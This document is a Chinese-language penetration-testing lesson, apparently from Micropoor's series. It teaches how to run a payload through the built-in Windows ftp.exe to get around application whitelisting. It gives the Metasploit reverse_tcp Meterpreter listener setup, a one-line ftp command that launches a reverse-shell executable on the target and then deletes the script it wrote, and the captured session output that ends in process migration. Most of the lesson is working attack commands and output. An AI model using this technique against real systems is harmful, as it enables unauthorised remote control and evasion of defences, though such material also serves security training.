第八十八课:基于白名单Ftp.exe执行payload第十九季
注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Ftp.exe简介:

Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。
说明:Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。
Windows 2003 默认位置:
1
C:\Windows\System32\ftp.exe
2
C:\Windows\SysWOW64\ftp.exe
Copied!
Windows 7 默认位置:
1
C:\Windows\System32\ftp.exe
2
C:\Windows\SysWOW64\ftp.exe
Copied!
攻击机: 192.168.1.4 Debian 靶机: 192.168.1.3 Windows 7

配置攻击机msf:

注:需设置参数 set AutoRunScript migrate -f
1
msf exploit(multi/handler) > show options
2
3
Module options (exploit/multi/handler):
4
5
Name Current Setting Required Description
6
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
7
8
Payload options (windows/meterpreter/reverse_tcp):
9
10
Name Current Setting Required Description
11
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
12
13
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
14
15
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
16
17
LPORT 53 yes The listen port
18
19
Exploit target:
20
21
Id Name
22
‐‐ ‐‐‐‐
23
0 Wildcard Target
24
25
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
26
27
AutoRunScript => migrate ‐f
28
29
msf exploit(multi/handler) > exploit
Copied!

靶机执行:

1
echo !C:\Users\John\Desktop\rev_x86_53_exe.exe > o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
Copied!
1
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
2
AutoRunScript => migrate ‐f
3
msf exploit(multi/handler) > exploit
4
5
[*] Started reverse TCP handler on 192.168.1.4:53
6
[*] Sending stage (179779 bytes) to 192.168.1.3
7
[*] Meterpreter session 10 opened (192.168.1.4:53 ‐> 192.168.1.3:5530)
8
at 2019‐01‐21 05:14:57 ‐0500
9
[*] Session ID 10 (192.168.1.4:53 ‐> 192.168.1.3:5530) processing AutoRunScript 'migrate ‐f'
10
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
11
[!] Example: run post/windows/manage/migrate OPTION=value [...]
12
[*] Current server process: rev_x86_53_exe.exe (8832)
13
[*] Spawning notepad.exe process to migrate to
14
[+] Migrating to 8788
Copied!
Micropoor
Last modified 2yr ago